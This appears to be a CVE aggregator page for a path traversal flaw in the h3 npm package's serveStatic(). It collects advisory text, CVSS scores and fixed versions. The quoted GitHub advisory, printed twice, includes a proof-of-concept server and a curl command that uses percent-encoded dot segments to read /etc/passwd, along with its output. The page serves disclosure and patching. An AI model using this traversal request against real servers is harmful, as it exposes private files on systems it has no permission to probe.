Every CVE Search/ Get API key

CVE-2026-86253

h3 before 1.15.6 Path Traversal via Percent-Encoded Dot Segments

8.2 HighFix available

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.62%Up 0.2 points since Sep 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

h3 before 1.15.6 Path Traversal via Percent-Encoded Dot Segments

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.

Record
CVE-2026-86253
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-72109 8.2

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.

Record
EUVD-2026-72109
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-jh84-7pcc-38gf 8.2

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic()....

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.

Record
GHSA-jh84-7pcc-38gf
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
GitHub AdvisoriesGHSA-wr4h-v87w-p3r7 5.9

h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

<img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" />

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

<img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" />

Pwned by 0xkakashi

<img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" />

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected,…

Record
GHSA-wr4h-v87w-p3r7
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-116
Updated
2026-11-02
NVD 8.2

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.

Record
CVE-2026-86253
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 8.2

h3 before 1.15.6 Path Traversal via Percent-Encoded Dot Segments

h3 (npm package) versions <= 2.0.1-rc.14 contain a path traversal vulnerability in serveStatic(). On Node.js deployments, event.url.pathname is not normalized, so percent-encoded dot segments (%2e%2e) are passed to decodeURI() and decoded to ../ sequences without sanitization. An unauthenticated remote attacker can send crafted requests to endpoints served by serveStatic() to read arbitrary files outside the intended static directory. Fixed in 1.15.6 and 2.0.1-rc.15.

Record
CVE-2026-86253
CVSS 4.0
8.2 HighCVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-wr4h-v87w-p3r7 5.9

h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read

Summary

serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.

Details

The vulnerability exists in src/utils/static.ts at line 86:

const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));

On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).

This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).

The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.

When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.

Before exploit:

<img width="761" height="97" alt="image" src="https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627" />

Vulnerability chain

1. Attacker sends:    GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname:  /%2e%2e/%2e%2e/%2e%2e/etc/passwd  (raw, no normalization)
3. decodeURI():       /../../../etc/passwd                (%2e decoded to .)
4. getMeta(id):       id = "/../../../etc/passwd"         (no traversal check)
5. path.join(root,id): /etc/passwd                        (.. resolved by OS)
6. Response:          contents of /etc/passwd

PoC

Vulnerable server (server.ts)

import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";

const STATIC_ROOT = resolve("./public");
const app = new H3();

app.all("/**", (event) =>
  serveStatic(event, {
    getMeta: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        const stat = statSync(filePath);
        return { size: stat.size, mtime: stat.mtime };
      } catch {
        return undefined;
      }
    },
    getContents: (id) => {
      const filePath = join(STATIC_ROOT, id);
      try {
        return readFileSync(filePath);
      } catch {
        return undefined;
      }
    },
  })
);

serve({ fetch: app.fetch });

Exploit

# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

Result

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Proof:

<img width="940" height="703" alt="image" src="https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1" />

Pwned by 0xkakashi

<img width="942" height="74" alt="image" src="https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95" />

Impact

An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().

This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected,…

Record
GHSA-wr4h-v87w-p3r7
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-116, CWE-22
Updated
2026-11-02
OSVCLSA-2026-1792233034 No score

TuxCare security update for h3 (1 CVE)

TuxCare rebuilt h3 to address 1 CVE. Fixed in 1.15.3-tuxcare.3.

Record
CLSA-2026-1792233034
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
h3
npm
2.0.0 to 2.0.1-rc.14
2.0.1-rc.15
h3
npm
before 1.15.6
1.15.6
h3
TuxCare:npm
1.15.3-tuxcare.0 up to 1.15.3-tuxcare.3, plus listed versions
1.15.31.15.3-tuxcare.11.15.3-tuxcare.2
1.15.3-tuxcare.3
h3
npm
2.0.0 up to 2.0.1-rc.15
2.0.1-rc.15

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-86253 is a high vulnerability (CVSS 8.2) in H3js H3, published March 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.62%, the 49th percentile. Fixed in h3 2.0.1-rc.15.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open